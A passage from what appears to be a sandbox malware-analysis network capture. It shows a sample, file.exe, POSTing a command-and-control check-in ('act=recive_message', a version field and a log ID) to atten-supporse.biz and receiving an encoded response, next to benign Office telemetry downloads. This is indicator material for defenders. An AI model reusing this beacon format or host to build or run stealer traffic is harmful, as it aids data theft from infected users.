enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-12-07 16:35:19 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49707	104.21.16.9	443	5480	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:18 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: atten-supporse.biz
2024-12-07 16:35:18 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-07 16:35:21 UTC	1040	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=46plbqgecbvhfe76qvfi9usmop; expires=Wed, 02-Apr-2025 10:21:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DJxr%2BstCWIsvF4CQvhZASduY2q7sdys6bCLt%2F5AIiTjnbxZ%2F8kPJ2lVEUidHl9kEAdXPZxW7wQUyk2K6hWCFtmkwouAK9sOb32u964vBNsqWbLInq85k6Hk06D5c4E4arZ4%2FAN8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ee5ed99ed935e74-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1678&min_rtt=1622&rtt_var=649&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=955&delivery_rate=1800246&cwnd=97&unsent_bytes=0&cid=aca9e91dad1bcf69&ts=2815&x=0"
2024-12-07 16:35:21 UTC	329	IN	Data Raw: 34 64 64 0d 0a 6c 32 66 64 50 44 72 71 36 48 64 59 6b 56 76 41 70 68 6e 51 64 4e 41 63 36 6c 48 36 35 72 50 66 4e 38 35 68 68 41 58 50 32 67 6a 73 52 61 73 65 41 4e 37 45 56 53 76 30 65 66 72 53 61 36 55 52 2f 44 36 4c 4e 64 6a 63 31 62 35 62 76 51 53 6f 4a 37 6d 33 4b 71 30 42 76 46 42 4a 6a 38 52 56 50 65 6c 35 2b 76 31 69 38 68 47 2b 50 74 42 7a 6e 34 7a 52 76 6c 75 73 41 4f 39 71 76 37 5a 72 2f 77 75 36 56 46 2b 4a 6a 42 59 30 2f 44 36 6c 77 33 69 36 47 72 6c 78 67 6a 7a 59 79 70 47 36 54 65 78 62 70 6b 69 71 72 6d 6e 61 42 71 35 58 47 4a 66 45 44 48 72 30 4e 65 4b 63 4f 37 45 52 73 6e 43 4d 4e 5a 47 4f 32 37 64 54 72 51 58 75 64 61 61 38 59 50 38 46 75 56 56 56 67 4a 67 62 50 76 73 31 6f 38 6c 34 38 6c 6a 79 65 5a 42 7a 77 4d 53 43 6a 31 61 39 45 76 Data Ascii: 4ddl2fdPDrq6HdYkVvAphnQdNAc6lH65rPfN85hhAXP2gjsRaseAN7EVSv0efrSa6UR/D6LNdjc1b5bvQSoJ7m3Kq0BvFBJj8RVPel5+v1i8hG+PtBzn4zRvlusAO9qv7Zr/wu6VF+JjBY0/D6lw3i6GrlxgjzYypG6TexbpkiqrmnaBq5XGJfEDHr0NeKcO7ERsnCMNZGO27dTrQXudaa8YP8FuVVVgJgbPvs1o8l48ljyeZBzwMSCj1a9Ev
2024-12-07 16:35:21 UTC	923	IN	Data Raw: 4d 4a 75 51 33 4b 77 56 73 30 33 2f 4a 36 71 30 4b 71 31 46 75 56 42 5a 68 59 6f 48 4d 76 67 79 70 39 5a 77 75 78 75 2f 66 6f 55 35 6c 34 66 52 75 6c 2b 6d 44 4f 78 6a 6f 4c 56 73 39 51 58 2f 45 42 69 50 6b 6c 56 69 73 78 71 6e 31 48 79 2b 41 50 42 45 79 43 7a 57 6e 5a 47 36 57 65 78 62 70 6d 2b 6f 75 32 6e 2b 43 72 78 57 55 35 71 4b 42 7a 7a 2b 50 4c 44 43 66 72 77 63 73 57 79 43 50 5a 36 48 32 4c 5a 63 71 51 54 69 4a 2b 50 34 62 65 31 46 35 78 35 35 68 59 45 5a 4d 4f 51 35 34 74 73 31 71 31 61 31 63 73 68 72 32 49 44 51 75 56 53 6f 44 65 68 6a 6f 62 35 6b 2b 41 71 35 56 46 69 50 67 42 30 79 38 6a 53 70 79 33 75 33 47 37 5a 34 68 44 4b 64 78 4a 2f 39 55 72 52 44 76 69 65 44 76 32 6e 6e 52 34 70 64 56 6f 61 4e 41 33 72 73 64 37 75 45 66 4c 35 57 36 6a 36 Data Ascii: MJuQ3KwVs03/J6q0Kq1FuVBZhYoHMvgyp9Zwuxu/foU5l4fRul+mDOxjoLVs9QX/EBiPklVisxqn1Hy+APBEyCzWnZG6Wexbpm+ou2n+CrxWU5qKBzz+PLDCfrwcsWyCPZ6H2LZcqQTiJ+P4be1F5x55hYEZMOQ54ts1q1a1cshr2IDQuVSoDehjob5k+Aq5VFiPgB0y8jSpy3u3G7Z4hDKdxJ/9UrRDvieDv2nnR4pdVoaNA3rsd7uEfL5W6j6
2024-12-07 16:35:21 UTC	1369	IN	Data Raw: 33 66 66 66 0d 0a 6f 51 61 4d 50 73 78 6f 73 6c 36 75 52 36 30 63 34 4d 38 6c 34 50 5a 76 6c 6d 70 44 75 55 6e 34 2f 68 74 37 55 58 6e 48 6e 32 47 69 51 51 72 73 51 79 68 79 6e 57 31 41 50 4a 68 78 69 72 59 67 39 33 39 44 65 77 4a 34 57 43 70 74 57 44 32 41 62 74 54 56 34 47 44 48 43 6a 35 4e 61 7a 57 64 72 67 54 76 48 4b 4e 50 4a 69 46 30 4c 4e 66 70 30 4f 6f 4a 36 71 67 4b 71 31 46 6b 46 4e 49 6d 6f 41 65 4b 37 45 4d 6f 63 70 31 74 51 44 79 59 63 59 71 32 49 50 64 2f 51 33 73 43 4f 42 72 6f 62 68 73 35 77 75 77 54 46 4b 61 6a 68 73 2b 2f 7a 65 72 79 58 53 33 42 4c 5a 2b 6d 6a 4b 64 67 39 2b 77 52 36 6c 44 71 43 65 71 6f 43 71 74 52 59 56 71 58 35 69 62 45 6e 6a 47 4f 71 7a 4b 66 4b 52 57 72 54 43 52 63 35 2b 49 6b 65 55 56 72 77 2f 72 62 71 69 33 65 50 Data Ascii: 3fffoQaMPsxosl6uR60c4M8l4PZvlmpDuUn4/ht7UXnHn2GiQQrsQyhynW1APJhxirYg939DewJ4WCptWD2AbtTV4GDHCj5NazWdrgTvHKNPJiF0LNfp0OoJ6qgKq1FkFNImoAeK7EMocp1tQDyYcYq2IPd/Q3sCOBrobhs5wuwTFKajhs+/zeryXS3BLZ+mjKdg9+wR6lDqCeqoCqtRYVqX5ibEnjGOqzKfKRWrTCRc5+IkeUVrw/rbqi3eP
2024-12-07 16:35:21 UTC	1369	IN	Data Raw: 55 70 71 50 47 7a 37 35 50 4b 62 49 63 62 49 54 6f 48 61 4f 4e 4a 53 4d 31 4c 4a 54 71 51 37 68 62 4b 36 71 65 50 59 42 73 56 49 59 78 73 6f 53 49 72 4e 68 34 75 46 73 73 51 61 30 66 63 67 73 31 70 32 52 75 6c 6e 73 57 36 5a 6e 6f 37 52 68 38 67 36 30 57 6c 79 49 68 78 34 30 2f 54 43 75 7a 48 65 31 42 4c 39 37 67 44 6d 52 67 64 32 77 56 72 34 41 35 79 66 6a 2b 47 33 74 52 65 63 65 66 37 75 39 4e 6e 72 73 64 37 75 45 66 4c 35 57 36 6a 36 4a 4f 35 2b 4b 31 61 39 62 76 67 33 68 5a 36 75 77 59 76 49 4a 73 56 42 4b 67 49 73 56 4e 50 77 78 71 38 42 36 74 68 4b 2b 65 63 68 39 32 49 50 4a 2f 51 33 73 4b 2b 56 39 74 2f 70 45 2f 67 57 34 54 6b 36 54 79 67 70 30 36 6e 6d 6c 79 44 76 71 56 72 5a 31 67 6a 71 62 6a 64 57 77 56 61 55 4d 37 32 2b 67 73 48 6a 30 44 36 31 Data Ascii: UpqPGz75PKbIcbIToHaONJSM1LJTqQ7hbK6qePYBsVIYxsoSIrNh4uFssQa0fcgs1p2RulnsW6Zno7Rh8g60WlyIhx40/TCuzHe1BL97gDmRgd2wVr4A5yfj+G3tRecef7u9Nnrsd7uEfL5W6j6JO5+K1a9bvg3hZ6uwYvIJsVBKgIsVNPwxq8B6thK+ech92IPJ/Q3sK+V9t/pE/gW4Tk6Tygp06nmlyDvqVrZ1gjqbjdWwVaUM72+gsHj0D61
2024-12-07 16:35:21 UTC	1369	IN	Data Raw: 68 38 31 38 44 47 76 78 33 4f 67 46 72 39 2b 6d 69 47 65 6a 39 2f 39 47 2b 77 45 2f 69 66 31 2b 46 76 69 44 76 39 42 46 70 48 4b 45 6a 61 7a 59 65 4c 48 63 62 38 59 6f 48 71 4f 4f 4a 75 4b 32 62 68 64 71 41 6e 72 61 4b 61 79 59 2f 30 46 73 46 74 51 67 34 77 62 4f 2f 55 31 72 34 51 31 38 68 47 71 50 74 42 7a 76 35 37 63 75 30 4b 39 4e 75 46 6e 2f 50 68 31 75 78 7a 2f 57 56 54 49 30 6c 55 33 2f 7a 4f 76 77 58 2b 36 45 62 46 2f 68 44 65 56 69 64 57 30 55 61 6b 52 39 47 47 6a 75 47 58 37 43 72 4e 4d 56 6f 32 4b 47 58 71 39 65 61 58 63 4f 2b 70 57 67 32 6d 49 63 34 66 4b 79 50 31 53 6f 45 4f 2b 4a 36 4b 31 65 50 6b 4b 76 31 39 62 6a 49 45 53 50 50 55 34 6f 63 46 34 74 78 43 7a 66 6f 51 35 6e 34 7a 62 73 31 69 71 42 2b 42 68 37 66 59 71 38 68 33 2f 42 68 69 36 Data Ascii: h818DGvx3OgFr9+miGej9/9G+wE/if1+FviDv9BFpHKEjazYeLHcb8YoHqOOJuK2bhdqAnraKayY/0FsFtQg4wbO/U1r4Q18hGqPtBzv57cu0K9NuFn/Ph1uxz/WVTI0lU3/zOvwX+6EbF/hDeVidW0UakR9GGjuGX7CrNMVo2KGXq9eaXcO+pWg2mIc4fKyP1SoEO+J6K1ePkKv19bjIESPPU4ocF4txCzfoQ5n4zbs1iqB+Bh7fYq8h3/Bhi6
2024-12-07 16:35:21 UTC	1369	IN	Data Raw: 51 35 72 73 74 38 75 68 6d 32 66 6f 64 7a 31 73 54 57 70 52 58 30 51 38 5a 73 75 35 6c 6b 2f 68 66 2f 51 52 61 52 79 68 49 32 73 32 48 69 79 6e 4b 7a 48 72 78 79 67 44 65 4b 68 4e 71 30 57 71 30 4d 35 6d 53 73 73 6d 4c 6e 41 37 39 56 55 49 2b 43 45 54 54 68 4f 4b 32 45 4e 66 49 52 71 6a 37 51 63 36 6d 53 31 72 70 61 37 69 72 68 66 4b 79 79 61 66 34 4a 2f 30 45 57 6b 63 6f 53 4e 72 4e 68 34 73 6c 33 76 78 4b 67 63 6f 67 7a 6b 59 50 62 72 31 71 6a 44 75 56 6e 71 4b 70 72 35 77 71 30 57 31 75 4d 68 52 6f 32 2b 7a 50 69 69 6a 75 31 44 76 49 6d 79 42 2b 62 6c 64 76 2f 63 72 59 56 34 57 75 38 73 32 66 35 52 61 41 51 51 63 69 4e 47 58 71 72 65 61 4c 46 64 71 41 54 73 33 53 43 50 70 43 4c 31 4c 68 61 71 41 66 74 61 62 2b 32 5a 66 55 44 74 46 39 64 69 34 45 66 4e Data Ascii: Q5rst8uhm2fodz1sTWpRX0Q8Zsu5lk/hf/QRaRyhI2s2HiynKzHrxygDeKhNq0Wq0M5mSssmLnA79VUI+CETThOK2ENfIRqj7Qc6mS1rpa7irhfKyyaf4J/0EWkcoSNrNh4sl3vxKgcogzkYPbr1qjDuVnqKpr5wq0W1uMhRo2+zPiiju1DvImyB+bldv/crYV4Wu8s2f5RaAQQciNGXqreaLFdqATs3SCPpCL1LhaqAftab+2ZfUDtF9di4EfN
2024-12-07 16:35:21 UTC	1369	IN	Data Raw: 41 63 72 63 65 73 58 75 4e 4f 5a 53 49 30 4c 56 63 70 67 62 6a 59 61 65 37 5a 50 6f 45 73 31 70 52 68 6f 4e 56 64 4c 4d 2b 75 6f 51 6a 38 69 43 69 65 5a 41 2b 69 4d 62 6a 76 6b 53 39 46 75 74 33 71 2f 70 46 39 67 6d 38 57 31 2b 59 79 67 70 30 36 6e 6d 6c 79 44 76 71 56 72 4a 36 68 44 43 66 69 74 36 77 57 71 73 49 36 57 32 6a 71 6d 58 77 44 62 4e 57 56 5a 71 41 48 79 6a 36 4d 4b 2f 4b 63 36 41 56 38 6a 44 49 4e 49 44 45 69 66 31 6e 70 67 44 71 63 61 43 33 4b 75 70 4c 70 68 35 66 68 4d 70 4e 65 75 45 72 6f 73 39 37 74 52 69 67 66 34 41 38 6b 6f 54 58 74 6c 2b 76 43 75 4a 70 70 4c 35 72 2b 41 53 2b 58 6c 32 49 67 77 63 33 73 33 66 69 77 32 50 79 54 76 4a 4a 68 44 69 70 68 38 66 39 53 75 49 61 70 6d 43 68 2b 44 4b 31 42 4b 31 54 55 49 79 4b 47 44 7a 34 4f 4b Data Ascii: AcrcesXuNOZSI0LVcpgbjYae7ZPoEs1pRhoNVdLM+uoQj8iCieZA+iMbjvkS9Fut3q/pF9gm8W1+Yygp06nmlyDvqVrJ6hDCfit6wWqsI6W2jqmXwDbNWVZqAHyj6MK/Kc6AV8jDINIDEif1npgDqcaC3KupLph5fhMpNeuEros97tRigf4A8koTXtl+vCuJppL5r+AS+Xl2Igwc3s3fiw2PyTvJJhDiph8f9SuIapmCh+DK1BK1TUIyKGDz4OK
2024-12-07 16:35:21 UTC	1369	IN	Data Raw: 56 71 41 2b 30 48 50 66 68 38 4f 76 55 36 38 56 35 53 43 54 68 6b 72 2b 45 37 35 54 55 34 53 30 4b 79 2f 77 4e 36 7a 44 62 61 4e 57 2f 44 36 48 63 38 43 39 6b 66 55 56 6b 30 32 6d 66 2b 33 67 4b 73 41 47 73 56 42 66 6e 70 74 59 47 76 67 76 6f 38 6c 77 76 6c 53 7a 63 35 67 30 32 4d 71 52 75 78 58 30 55 36 67 6e 71 61 6b 71 72 56 58 74 42 51 33 62 33 55 56 6f 37 48 65 37 68 47 33 79 54 75 41 77 79 43 48 59 33 4a 48 36 56 72 34 52 34 47 53 37 75 79 33 4c 4f 35 39 56 56 49 75 47 46 44 32 7a 64 2b 4c 4c 4f 2b 6f 76 38 6e 32 61 49 64 65 56 78 37 42 46 71 30 2f 75 64 71 43 30 4b 72 74 46 38 31 70 54 68 49 38 53 4b 72 77 72 73 73 39 33 70 46 71 32 62 4d 68 39 32 4a 58 61 73 6b 65 69 42 4b 6c 32 75 37 56 36 39 67 43 34 45 6c 43 5a 68 78 6c 36 76 58 6d 33 7a 33 65 Data Ascii: VqA+0HPfh8OvU68V5SCThkr+E75TU4S0Ky/wN6zDbaNW/D6Hc8C9kfUVk02mf+3gKsAGsVBfnptYGvgvo8lwvlSzc5g02MqRuxX0U6gnqakqrVXtBQ3b3UVo7He7hG3yTuAwyCHY3JH6Vr4R4GS7uy3LO59VVIuGFD2zd+LLO+ov8n2aIdeVx7BFq0/udqC0KrtF81pThI8SKrwrss93pFq2bMh92JXaskeiBKl2u7V69gC4ElCZhxl6vXm3z3e
2024-12-07 16:35:21 UTC	1369	IN	Data Raw: 49 39 2f 30 4d 6a 41 72 6c 75 6e 46 65 45 6e 6b 76 59 71 37 55 58 6e 48 6d 32 4c 68 42 73 39 35 53 6a 76 34 6e 69 31 45 4c 46 77 6e 79 4c 59 79 70 47 37 46 66 52 52 71 43 65 70 71 53 71 74 56 65 30 46 44 64 76 64 52 57 6a 73 64 37 75 45 62 66 4a 4f 34 54 44 49 49 64 6a 63 6b 66 70 62 6f 51 4c 6c 61 61 36 71 65 50 4d 47 71 56 30 66 74 72 51 77 4e 2f 34 38 72 4d 4e 46 6a 44 65 34 62 6f 55 38 6e 37 72 76 69 6b 53 72 45 36 52 42 72 71 35 70 74 55 76 2f 52 68 6a 51 79 6a 51 77 34 7a 53 74 77 7a 76 38 56 72 59 2b 30 48 4f 39 69 64 79 34 57 36 74 42 78 32 32 39 74 57 58 79 52 66 45 65 56 4d 6a 53 56 54 76 35 4b 61 2f 4c 66 50 34 52 71 48 6e 49 66 64 69 4b 6b 65 55 56 72 51 6e 32 61 71 4b 2f 4a 76 4d 4c 73 52 35 48 78 70 4e 56 4c 4c 4e 68 38 59 6f 37 6f 46 62 71 Data Ascii: I9/0MjArlunFeEnkvYq7UXnHm2LhBs95Sjv4ni1ELFwnyLYypG7FfRRqCepqSqtVe0FDdvdRWjsd7uEbfJO4TDIIdjckfpboQLlaa6qePMGqV0ftrQwN/48rMNFjDe4boU8n7rvikSrE6RBrq5ptUv/RhjQyjQw4zStwzv8VrY+0HO9idy4W6tBx229tWXyRfEeVMjSVTv5Ka/LfP4RqHnIfdiKkeUVrQn2aqK/JvMLsR5HxpNVLLNh8Yo7oFbq

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.7	49709	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:20 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:21 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: c11b12be-901e-0048-4704-48b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163521Z-r1cf579d778z4wflhC1EWRa3h000000002v00000000070ne x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:21 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.7	49710	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:20 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:21 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 2b116ba0-201e-0051-0503-487340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163521Z-r1cf579d778t6txphC1EWRsd4400000003dg000000001s3d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:21 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.7	49708	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:20 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:21 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 3fcd35f4-e01e-0052-4b02-48d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163521Z-r1cf579d778w59f9hC1EWRze6w0000000320000000006rqp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:21 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.7	49711	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:20 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:21 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: b9950e54-401e-0015-4806-480e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163521Z-r1cf579d7784wpmvhC1EWRk4cn00000002ag000000004rb8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:21 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.7	49712	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:20 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
